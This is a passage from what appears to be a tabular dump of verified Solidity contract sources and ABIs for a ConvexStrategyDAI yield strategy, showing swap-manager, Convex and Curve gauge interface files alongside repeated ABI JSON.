ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/bloq/ISwapManager.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
/* solhint-disable func-name-mixedcase */
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
interface ISwapManager {
event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period);
function N_DEX() external view returns (uint256);
function ROUTERS(uint256 i) external view returns (IUniswapV2Router02);
function bestOutputFixedInput(
address _from,
address _to,
uint256 _amountIn
)
external
view
returns (
address[] memory path,
uint256 amountOut,
uint256 rIdx
);
function bestPathFixedInput(
address _from,
address _to,
uint256 _amountIn,
uint256 _i
) external view returns (address[] memory path, uint256 amountOut);
function bestInputFixedOutput(
address _from,
address _to,
uint256 _amountOut
)
external
view
returns (
address[] memory path,
uint256 amountIn,
uint256 rIdx
);
function bestPathFixedOutput(
address _from,
address _to,
uint256 _amountOut,
uint256 _i
) external view returns (address[] memory path, uint256 amountIn);
function safeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function unsafeGetAmountsOut(
uint256 _amountIn,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function safeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function unsafeGetAmountsIn(
uint256 _amountOut,
address[] memory _path,
uint256 _i
) external view returns (uint256[] memory result);
function comparePathsFixedInput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountIn,
uint256 _i
) external view returns (address[] memory path, uint256 amountOut);
function comparePathsFixedOutput(
address[] memory pathA,
address[] memory pathB,
uint256 _amountOut,
uint256 _i
) external view returns (address[] memory path, uint256 amountIn);
function ours(address a) external view returns (bool);
function oracleCount() external view returns (uint256);
function oracleAt(uint256 idx) external view returns (address);
function getOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external view returns (address);
function createOrUpdateOracle(
address _tokenA,
address _tokenB,
uint256 _period,
uint256 _i
) external returns (address oracleAddr);
function consultForFree(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
) external view returns (uint256 amountOut, uint256 lastUpdatedAt);
/// get the data we want and pay the gas to update
function consult(
address _from,
address _to,
uint256 _amountIn,
uint256 _period,
uint256 _i
)
external
returns (
uint256 amountOut,
uint256 lastUpdatedAt,
bool updated
);
function updateOracles() external returns (uint256 updated, uint256 expected);
function updateOracles(address[] memory _oracleAddrs) external returns (uint256 updated, uint256 expected);
} | [{"inputs":[{"internalType":"address","name":"_pool","type":"address"},{"internalType":"address","name":"_swapManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"DepositFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldCrvSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newCrvSlippage","type":"uint256"}],"name":"UpdatedCrvSlippage","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousFeeCollector","type":"address"},{"indexed":true,"internalType":"address","name":"newFeeCollector","type":"address"}],"name":"UpdatedFeeCollector","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"oldRouterIdx","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newRouterIdx","type":"uint256"}],"name":"UpdatedOracleConfig","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousSwapManager","type":"address"},{"indexed":true,"internalType":"address","name":"newSwapManager","type":"address"}],"name":"UpdatedSwapManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldSwapSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSwapSlippage","type":"uint256"}],"name":"UpdatedSwapSlippage","type":"event"},{"inputs":[],"name":"BOOSTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV_MINTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CVX","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"N","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NAME","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"addKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amtNeeded","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"calcWithdrawLpAs","outputs":[{"internalType":"uint256","name":"lpToWithdraw","type":"uint256"},{"internalType":"uint256","name":"unstakeAmt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimableRewards","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coinDecimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coins","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collateralToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"convertFrom18","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"convexPoolId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvGauge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvLp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvPool","outputs":[{"internalType":"contract IStableSwapUnderlying","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cvxCrvRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositError","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeCollector","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"}],"name":"getLpValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"getLpValueAs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressListFactory","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isClaimExtras","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isClaimRewards","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"isReservedToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepers","outputs":[{"internalType":"contract IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/convex/IConvex.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IConvex {
function poolInfo(uint256)
external
view
returns (
address,
address,
address,
address,
address,
bool
);
// deposit lp tokens and stake
function deposit(
uint256 _pid,
uint256 _amount,
bool _stake
) external returns (bool);
// deposit all lp tokens and stake
function depositAll(uint256 _pid, bool _stake) external returns (bool);
// withdraw lp tokens
function withdraw(uint256 _pid, uint256 _amount) external returns (bool);
// withdraw all lp tokens
function withdrawAll(uint256 _pid) external returns (bool);
// claim crv + extra rewards
function earmarkRewards(uint256 _pid) external returns (bool);
// claim rewards on stash (msg.sender == stash)
function claimRewards(uint256 _pid, address _gauge) external returns (bool);
// delegate address votes on dao (needs to be voteDelegate)
function vote(
uint256 _voteId,
address _votingAddress,
bool _support
) external returns (bool);
function voteGaugeWeight(address[] calldata _gauge, uint256[] calldata _weight) external returns (bool);
}
interface Rewards {
function pid() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function extraRewardsLength() external view returns (uint256);
function extraRewards(uint256) external view returns (address);
function rewardPerToken() external view returns (uint256);
function rewardPerTokenStored() external view returns (uint256);
function rewardRate() external view returns (uint256);
function rewardToken() external view returns (address);
function rewards(address) external view returns (uint256);
function userRewardPerTokenPaid(address) external view returns (uint256);
function stakingToken() external view returns (address);
function stake(uint256) external returns (bool);
function stakeAll() external returns (bool);
function stakeFor(address, uint256) external returns (bool);
function withdraw(uint256 amount, bool claim) external returns (bool);
function withdrawAll(bool claim) external returns (bool);
function withdrawAndUnwrap(uint256 amount, bool claim) external returns (bool);
function withdrawAllAndUnwrap(bool claim) external;
function getReward() external returns (bool);
function getReward(address _account, bool _claimExtras) external returns (bool);
function donate(uint256 _amount) external returns (bool);
} | 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IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"convertFrom18","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"convexPoolId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvGauge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvLp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvPool","outputs":[{"internalType":"contract IStableSwapUnderlying","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cvxCrvRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositError","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeCollector","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"}],"name":"getLpValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"getLpValueAs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressListFactory","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isClaimExtras","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isClaimRewards","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"isReservedToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepers","outputs":[{"internalType":"contract IAddressList","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newStrategy","type":"address"}],"name":"migrate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"oraclePeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oracleRouterIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rebalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"receiptToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"removeKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setCheckpoint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setupOracles","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapManager","outputs":[{"internalType":"contract ISwapManager","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_fromToken","type":"address"}],"name":"sweepERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"threePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalLp","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalStaked","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalValue","outputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimExtras","type":"bool"}],"name":"updateClaimExtras","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isClaimRewards","type":"bool"}],"name":"updateClaimRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCrvSlippage","type":"uint256"}],"name":"updateCrvSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_feeCollector","type":"address"}],"name":"updateFeeCollector","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newPeriod","type":"uint256"},{"internalType":"uint256","name":"_newRouterIdx","type":"uint256"}],"name":"updateOracleConfig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swapManager","type":"address"}],"name":"updateSwapManager","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapSlippage","type":"uint256"}],"name":"updateSwapSlippage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"usdRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdRateTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.3+commit.8d00100c | true | 200 | 0000000000000000000000000538c8bac84e95a9df8ac10aad17dbe81b9e36ee000000000000000000000000e382d9f2394a359b01006faa8a1864b8a60d2710 | Default | MIT | false | |||
ConvexStrategyDAI | contracts/interfaces/curve/ILiquidityGaugeV2.sol | 0x6897d2cbf66e317bde74595c455bee09cf144136 | Solidity | // SPDX-License-Identifier: MIT
/* solhint-disable */
pragma solidity 0.8.3;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Not a complete interface, but should have what we need
interface ILiquidityGaugeV2 is IERC20 {
function deposit(uint256 _value) external;
function deposit(uint256 _value, address addr) external;
function withdraw(uint256 _value) external;
function claim_rewards(address addr) external;
function claimable_tokens(address addr) external returns (uint256);
function claimable_reward(address, address) external returns (uint256);
function integrate_fraction(address addr) external view returns (uint256);
function user_checkpoint(address addr) external returns (bool);
function reward_integral(address) external view returns (uint256);
function reward_integral_for(address, address) external view returns (uint256);
}
/* solhint-enable */ | [{"inputs":[{"internalType":"address","name":"_pool","type":"address"},{"internalType":"address","name":"_swapManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"DepositFailed","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldCrvSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newCrvSlippage","type":"uint256"}],"name":"UpdatedCrvSlippage","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousFeeCollector","type":"address"},{"indexed":true,"internalType":"address","name":"newFeeCollector","type":"address"}],"name":"UpdatedFeeCollector","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newPeriod","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"oldRouterIdx","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newRouterIdx","type":"uint256"}],"name":"UpdatedOracleConfig","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousSwapManager","type":"address"},{"indexed":true,"internalType":"address","name":"newSwapManager","type":"address"}],"name":"UpdatedSwapManager","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"oldSwapSlippage","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSwapSlippage","type":"uint256"}],"name":"UpdatedSwapSlippage","type":"event"},{"inputs":[],"name":"BOOSTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CRV_MINTER","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CVX","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"N","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"NAME","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_keeperAddress","type":"address"}],"name":"addKeeper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approveToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amtNeeded","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"calcWithdrawLpAs","outputs":[{"internalType":"uint256","name":"lpToWithdraw","type":"uint256"},{"internalType":"uint256","name":"unstakeAmt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimableRewards","outputs":[{"internalType":"uint256","name":"total","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coinDecimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"coins","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collIdx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"collateralToken","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"convertFrom18","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"convexPoolId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvGauge","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvLp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvPool","outputs":[{"internalType":"contract IStableSwapUnderlying","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"crvSlippage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cvxCrvRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"depositError","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeCollector","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"}],"name":"getLpValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_lpAmount","type":"uint256"},{"internalType":"uint256","name":"i","type":"uint256"}],"name":"getLpValueAs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressListFactory","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isClaimExtras","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isClaimRewards","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"isReservedToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"keepers","outputs":[{"internalType":"contract 